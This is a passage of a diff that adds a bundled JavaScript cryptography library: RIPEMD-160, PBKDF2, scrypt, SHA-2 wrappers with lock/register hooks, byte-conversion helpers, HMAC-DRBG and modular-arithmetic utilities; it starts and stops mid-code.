new Uint32Array([ + 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e, + ]); + const Kr = /* @__PURE__ */ new Uint32Array([ + 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000, + ]); + // The rotate left (circular left shift) operation for uint32 + const rotl$1 = (word, shift) => (word << shift) | (word >>> (32 - shift)); + // It's called f() in spec. + function f(group, x, y, z) { + if (group === 0) + return x ^ y ^ z; + else if (group === 1) + return (x & y) | (~x & z); + else if (group === 2) + return (x | ~y) ^ z; + else if (group === 3) + return (x & z) | (y & ~z); + else + return x ^ (y | ~z); + } + // Temporary buffer, not used to store anything between runs + const BUF = /* @__PURE__ */ new Uint32Array(16); + class RIPEMD160 extends SHA2 { + constructor() { + super(64, 20, 8, true); + this.h0 = 0x67452301 | 0; + this.h1 = 0xefcdab89 | 0; + this.h2 = 0x98badcfe | 0; + this.h3 = 0x10325476 | 0; + this.h4 = 0xc3d2e1f0 | 0; + } + get() { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + set(h0, h1, h2, h3, h4) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + BUF[i] = view.getUint32(offset, true); + // prettier-ignore + let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el; + // Instead of iterating 0 to 80, we split it into 5 groups + // And use the groups in constants, functions, etc. Much simpler + for (let group = 0; group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore + const rl = idxL[group], rr = idxR[group]; // prettier-ignore + const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore + for (let i = 0; i < 16; i++) { + const tl = (rotl$1(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0; + al = el, el = dl, dl = rotl$1(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore + } + // 2 loops are 10% faster + for (let i = 0; i < 16; i++) { + const tr = (rotl$1(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0; + ar = er, er = dr, dr = rotl$1(cr, 10) | 0, cr = br, br = tr; // prettier-ignore + } + } + // Add the compressed chunk to the current hash value + this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0); + } + roundClean() { + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0); + } + } + /** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ + const ripemd160$1 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160()); + + let locked$2 = false; + const _ripemd160 = function (data) { + return ripemd160$1(data); + }; + let __ripemd160 = _ripemd160; + /** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ + function ripemd160(_data) { + const data = getBytes(_data, "data"); + return hexlify(__ripemd160(data)); + } + ripemd160._ = _ripemd160; + ripemd160.lock = function () { locked$2 = true; }; + ripemd160.register = function (func) { + if (locked$2) { + throw new TypeError("ripemd160 is locked"); + } + __ripemd160 = func; + }; + Object.freeze(ripemd160); + + /** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ + let locked$1 = false; + const _pbkdf2 = function (password, salt, iterations, keylen, algo) { + return pbkdf2Sync(password, salt, iterations, keylen, algo); + }; + let __pbkdf2 = _pbkdf2; + /** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ + function pbkdf2(_password, _salt, iterations, keylen, algo) { + const password = getBytes(_password, "password"); + const salt = getBytes(_salt, "salt"); + return hexlify(__pbkdf2(password, salt, iterations, keylen, algo)); + } + pbkdf2._ = _pbkdf2; + pbkdf2.lock = function () { locked$1 = true; }; + pbkdf2.register = function (func) { + if (locked$1) { + throw new Error("pbkdf2 is locked"); + } + __pbkdf2 = func; + }; + Object.freeze(pbkdf2); + + /** + * A **Cryptographically Secure Random Value** is one that has been + * generated with additional care take to prevent side-channels + * from allowing others to detect it and prevent others from through + * coincidence generate the same values. + * + * @_subsection: api/crypto:Random Values [about-crypto-random] + */ + let locked = false; + const _randomBytes = function (length) { + return new Uint8Array(randomBytes$1(length)); + }; + let __randomBytes = _randomBytes; + /** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ + function randomBytes(length) { + return __randomBytes(length); + } + randomBytes._ = _randomBytes; + randomBytes.lock = function () { locked = true; }; + randomBytes.register = function (func) { + if (locked) { + throw new Error("randomBytes is locked"); + } + __randomBytes = func; + }; + Object.freeze(randomBytes); + + // RFC 7914 Scrypt KDF + // Left rotate for uint32 + const rotl = (a, b) => (a << b) | (a >>> (32 - b)); + // The main Scrypt loop: uses Salsa extensively. + // Six versions of the function were tried, this is the fastest one. + // prettier-ignore + function XorAndSalsa(prev, pi, input, ii, out, oi) { + // Based on https://cr.yp.to/salsa20.html + // Xor blocks + let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++]; + let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++]; + let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++]; + let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++]; + let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++]; + let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++]; + let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++]; + let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++]; + // Save state to temporary variables (salsa) + let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15; + // Main loop (salsa) + for (let i = 0; i < 8; i += 2) { + x04 ^= rotl(x00 + x12 | 0, 7); + x08 ^= rotl(x04 + x00 | 0, 9); + x12 ^= rotl(x08 + x04 | 0, 13); + x00 ^= rotl(x12 + x08 | 0, 18); + x09 ^= rotl(x05 + x01 | 0, 7); + x13 ^= rotl(x09 + x05 | 0, 9); + x01 ^= rotl(x13 + x09 | 0, 13); + x05 ^= rotl(x01 + x13 | 0, 18); + x14 ^= rotl(x10 + x06 | 0, 7); + x02 ^= rotl(x14 + x10 | 0, 9); + x06 ^= rotl(x02 + x14 | 0, 13); + x10 ^= rotl(x06 + x02 | 0, 18); + x03 ^= rotl(x15 + x11 | 0, 7); + x07 ^= rotl(x03 + x15 | 0, 9); + x11 ^= rotl(x07 + x03 | 0, 13); + x15 ^= rotl(x11 + x07 | 0, 18); + x01 ^= rotl(x00 + x03 | 0, 7); + x02 ^= rotl(x01 + x00 | 0, 9); + x03 ^= rotl(x02 + x01 | 0, 13); + x00 ^= rotl(x03 + x02 | 0, 18); + x06 ^= rotl(x05 + x04 | 0, 7); + x07 ^= rotl(x06 + x05 | 0, 9); + x04 ^= rotl(x07 + x06 | 0, 13); + x05 ^= rotl(x04 + x07 | 0, 18); + x11 ^= rotl(x10 + x09 | 0, 7); + x08 ^= rotl(x11 + x10 | 0, 9); + x09 ^= rotl(x08 + x11 | 0, 13); + x10 ^= rotl(x09 + x08 | 0, 18); + x12 ^= rotl(x15 + x14 | 0, 7); + x13 ^= rotl(x12 + x15 | 0, 9); + x14 ^= rotl(x13 + x12 | 0, 13); + x15 ^= rotl(x14 + x13 | 0, 18); + } + // Write output (salsa) + out[oi++] = (y00 + x00) | 0; + out[oi++] = (y01 + x01) | 0; + out[oi++] = (y02 + x02) | 0; + out[oi++] = (y03 + x03) | 0; + out[oi++] = (y04 + x04) | 0; + out[oi++] = (y05 + x05) | 0; + out[oi++] = (y06 + x06) | 0; + out[oi++] = (y07 + x07) | 0; + out[oi++] = (y08 + x08) | 0; + out[oi++] = (y09 + x09) | 0; + out[oi++] = (y10 + x10) | 0; + out[oi++] = (y11 + x11) | 0; + out[oi++] = (y12 + x12) | 0; + out[oi++] = (y13 + x13) | 0; + out[oi++] = (y14 + x14) | 0; + out[oi++] = (y15 + x15) | 0; + } + function BlockMix(input, ii, out, oi, r) { + // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) + let head = oi + 0; + let tail = oi + 16 * r; + for (let i = 0; i < 16; i++) + out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1] + for (let i = 0; i < r; i++, head += 16, ii += 16) { + // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1 + XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1]) + if (i > 0) + tail += 16; // First iteration overwrites tmp value in tail + XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i]) + } + } + // Common prologue and epilogue for sync/async functions + function scryptInit(password, salt, _opts) { + // Maxmem - 1GB+1KB by default + const opts = checkOpts({ + dkLen: 32, + asyncTick: 10, + maxmem: 1024 ** 3 + 1024, + }, _opts); + const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts; + number(N); + number(r); + number(p); + number(dkLen); + number(asyncTick); + number(maxmem); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + const blockSize = 128 * r; + const blockSize32 = blockSize / 4; + if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) { + // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function + // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future. + throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32'); + } + if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) { + throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)'); + } + if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) { + throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32'); + } + const memUsed = blockSize * (N + p); + if (memUsed > maxmem) { + throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`); + } + // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor) + // Since it has only one iteration there is no reason to use async variant + const B = pbkdf2$1(sha256$1, password, salt, { c: 1, dkLen: blockSize * p }); + const B32 = u32(B); + // Re-used between parallel iterations. Array(iterations) of B + const V = u32(new Uint8Array(blockSize * N)); + const tmp = u32(new Uint8Array(blockSize)); + let blockMixCb = () => { }; + if (onProgress) { + const totalBlockMix = 2 * N * p; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1); + let blockMixCnt = 0; + blockMixCb = () => { + blockMixCnt++; + if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix)) + onProgress(blockMixCnt / totalBlockMix); + }; + } + return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick }; + } + function scryptOutput(password, dkLen, B, V, tmp) { + const res = pbkdf2$1(sha256$1, password, B, { c: 1, dkLen }); + B.fill(0); + V.fill(0); + tmp.fill(0); + return res; + } + /** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ + function scrypt$1(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + for (let i = 0, pos = 0; i < N - 1; i++) { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + } + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + for (let i = 0; i < N; i++) { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + } + } + return scryptOutput(password, dkLen, B, V, tmp); + } + /** + * Scrypt KDF from RFC 7914. + */ + async function scryptAsync(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + let pos = 0; + await asyncLoop(N - 1, asyncTick, () => { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + }); + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + await asyncLoop(N, asyncTick, () => { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + }); + } + return scryptOutput(password, dkLen, B, V, tmp); + } + + let lockedSync = false, lockedAsync = false; + const _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) { + return await scryptAsync(passwd, salt, { N, r, p, dkLen, onProgress }); + }; + const _scryptSync = function (passwd, salt, N, r, p, dkLen) { + return scrypt$1(passwd, salt, { N, r, p, dkLen }); + }; + let __scryptAsync = _scryptAsync; + let __scryptSync = _scryptSync; + /** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ + async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return hexlify(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress)); + } + scrypt._ = _scryptAsync; + scrypt.lock = function () { lockedAsync = true; }; + scrypt.register = function (func) { + if (lockedAsync) { + throw new Error("scrypt is locked"); + } + __scryptAsync = func; + }; + Object.freeze(scrypt); + /** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ + function scryptSync(_passwd, _salt, N, r, p, dkLen) { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return hexlify(__scryptSync(passwd, salt, N, r, p, dkLen)); + } + scryptSync._ = _scryptSync; + scryptSync.lock = function () { lockedSync = true; }; + scryptSync.register = function (func) { + if (lockedSync) { + throw new Error("scryptSync is locked"); + } + __scryptSync = func; + }; + Object.freeze(scryptSync); + + const _sha256 = function (data) { + return createHash("sha256").update(data).digest(); + }; + const _sha512 = function (data) { + return createHash("sha512").update(data).digest(); + }; + let __sha256 = _sha256; + let __sha512 = _sha512; + let locked256 = false, locked512 = false; + /** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ + function sha256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha256(data)); + } + sha256._ = _sha256; + sha256.lock = function () { locked256 = true; }; + sha256.register = function (func) { + if (locked256) { + throw new Error("sha256 is locked"); + } + __sha256 = func; + }; + Object.freeze(sha256); + /** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ + function sha512(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha512(data)); + } + sha512._ = _sha512; + sha512.lock = function () { locked512 = true; }; + sha512.register = function (func) { + if (locked512) { + throw new Error("sha512 is locked"); + } + __sha512 = func; + }; + Object.freeze(sha256); + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // 100 lines of code in the file are duplicated from noble-hashes (utils). + // This is OK: `abstract` directory does not use noble-hashes. + // User may opt-in into using different hashing library. This way, noble-hashes + // won't be included into their bundle. + const _0n$3 = BigInt(0); + const _1n$4 = BigInt(1); + const _2n$2 = BigInt(2); + const u8a = (a) => a instanceof Uint8Array; + const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); + /** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ + function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; + } + function numberToHexUnpadded(num) { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + } + function hexToNumber(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + // Big Endian + return BigInt(hex === '' ? '0' : `0x${hex}`); + } + /** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ + function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; + } + // BE: Big Endian, LE: Little Endian + function bytesToNumberBE(bytes) { + return hexToNumber(bytesToHex(bytes)); + } + function bytesToNumberLE(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); + } + function numberToBytesBE(n, len) { + return hexToBytes(n.toString(16).padStart(len * 2, '0')); + } + function numberToBytesLE(n, len) { + return numberToBytesBE(n, len).reverse(); + } + // Unpadded, rarely used + function numberToVarBytesBE(n) { + return hexToBytes(numberToHexUnpadded(n)); + } + /** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ + function ensureBytes(title, hex, expectedLength) { + let res; + if (typeof hex === 'string') { + try { + res = hexToBytes(hex); + } + catch (e) { + throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`); + } + } + else if (u8a(hex)) { + // Uint8Array.from() instead of hash.slice() because node.js Buffer + // is instance of Uint8Array, and its slice() creates **mutable** copy + res = Uint8Array.from(hex); + } + else { + throw new Error(`${title} must be hex string or Uint8Array`); + } + const len = res.length; + if (typeof expectedLength === 'number' && len !== expectedLength) + throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`); + return res; + } + /** + * Copies several Uint8Arrays into one. + */ + function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; + } + function equalBytes(b1, b2) { + // We don't care about timing attacks here + if (b1.length !== b2.length) + return false; + for (let i = 0; i < b1.length; i++) + if (b1[i] !== b2[i]) + return false; + return true; + } + /** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ + function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 + } + // Bit operations + /** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ + function bitLen(n) { + let len; + for (len = 0; n > _0n$3; n >>= _1n$4, len += 1) + ; + return len; + } + /** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ + function bitGet(n, pos) { + return (n >> BigInt(pos)) & _1n$4; + } + /** + * Sets single bit at position. + */ + const bitSet = (n, pos, value) => { + return n | ((value ? _1n$4 : _0n$3) << BigInt(pos)); + }; + /** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ + const bitMask = (n) => (_2n$2 << BigInt(n - 1)) - _1n$4; + // DRBG + const u8n = (data) => new Uint8Array(data); // creates Uint8Array + const u8fr = (arr) => Uint8Array.from(arr); // another shortcut + /** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ + function createHmacDrbg(hashLen, qByteLen, hmacFn) { + if (typeof hashLen !== 'number' || hashLen < 2) + throw new Error('hashLen must be a number'); + if (typeof qByteLen !== 'number' || qByteLen < 2) + throw new Error('qByteLen must be a number'); + if (typeof hmacFn !== 'function') + throw new Error('hmacFn must be a function'); + // Step B, Step C: set hashLen to 8*ceil(hlen/8) + let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same + let i = 0; // Iterations counter, will throw when over 1000 + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values) + const reseed = (seed = u8n()) => { + // HMAC-DRBG reseed() function. Steps D-G + k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed) + v = h(); // v = hmac(k || v) + if (seed.length === 0) + return; + k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed) + v = h(); // v = hmac(k || v) + }; + const gen = () => { + // HMAC-DRBG generate() function + if (i++ >= 1000) + throw new Error('drbg: tried 1000 values'); + let len = 0; + const out = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed, pred) => { + reset(); + reseed(seed); // Steps D-G + let res = undefined; // Step H: grind until k is in [1..n-1] + while (!(res = pred(gen()))) + reseed(); + reset(); + return res; + }; + return genUntil; + } + // Validating curves and fields + const validatorFns = { + bigint: (val) => typeof val === 'bigint', + function: (val) => typeof val === 'function', + boolean: (val) => typeof val === 'boolean', + string: (val) => typeof val === 'string', + stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array, + isSafeInteger: (val) => Number.isSafeInteger(val), + array: (val) => Array.isArray(val), + field: (val, object) => object.Fp.isValid(val), + hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen), + }; + // type Record = { [P in K]: T; } + function validateObject(object, validators, optValidators = {}) { + const checkField = (fieldName, type, isOptional) => { + const checkVal = validatorFns[type]; + if (typeof checkVal !== 'function') + throw new Error(`Invalid validator "${type}", expected function`); + const val = object[fieldName]; + if (isOptional && val === undefined) + return; + if (!checkVal(val, object)) { + throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`); + } + }; + for (const [fieldName, type] of Object.entries(validators)) + checkField(fieldName, type, false); + for (const [fieldName, type] of Object.entries(optValidators)) + checkField(fieldName, type, true); + return object; + } + // validate type tests + // const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 }; + // const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok! + // // Should fail type-check + // const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' }); + // const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' }); + // const z3 = validateObject(o, { test: 'boolean', z: 'bug' }); + // const z4 = validateObject(o, { a: 'boolean', z: 'bug' }); + + var ut = /*#__PURE__*/Object.freeze({ + __proto__: null, + bitGet: bitGet, + bitLen: bitLen, + bitMask: bitMask, + bitSet: bitSet, + bytesToHex: bytesToHex, + bytesToNumberBE: bytesToNumberBE, + bytesToNumberLE: bytesToNumberLE, + concatBytes: concatBytes, + createHmacDrbg: createHmacDrbg, + ensureBytes: ensureBytes, + equalBytes: equalBytes, + hexToBytes: hexToBytes, + hexToNumber: hexToNumber, + numberToBytesBE: numberToBytesBE, + numberToBytesLE: numberToBytesLE, + numberToHexUnpadded: numberToHexUnpadded, + numberToVarBytesBE: numberToVarBytesBE, + utf8ToBytes: utf8ToBytes, + validateObject: validateObject + }); + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // Utilities for modular arithmetics and finite fields + // prettier-ignore + const _0n$2 = BigInt(0), _1n$3 = BigInt(1), _2n$1 = BigInt(2), _3n$1 = BigInt(3); + // prettier-ignore + const _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8); + // prettier-ignore + BigInt(9); BigInt(16); + // Calculates a modulo b + function mod(a, b) { + const result = a % b; + return result >= _0n$2 ? result : b + result; + } + /** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ + // TODO: use field version && remove + function pow(num, power, modulo) { + if (modulo <= _0n$2 || power < _0n$2) + throw new Error('Expected power/modulo > 0'); + if (modulo === _1n$3) + return _0n$2; + let res = _1n$3; + while (power > _0n$2) { + if (power & _1n$3) + res = (res * num) % modulo; + num = (num * num) % modulo; + power >>= _1n$3; + } + return res; + } + // Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4) + function pow2(x, power, modulo) { + let res = x; + while (power-- > _0n$2) { + res *= res; + res %= modulo; + } + return res; + } + // Inverses number over modulo + function invert(number, modulo) { + if (number === _0n$2 || modulo <= _0n$2) { + throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`); + } + // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/ + // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower. + let a = mod(number, modulo); + let b = modulo; + // prettier-ignore + let x = _0n$2, u = _1n$3; + while (a !== _0n$2) { + // JIT applies optimization if those two lines follow each other + const q = b / a; + const r = b % a; + const m = x - u * q; + // 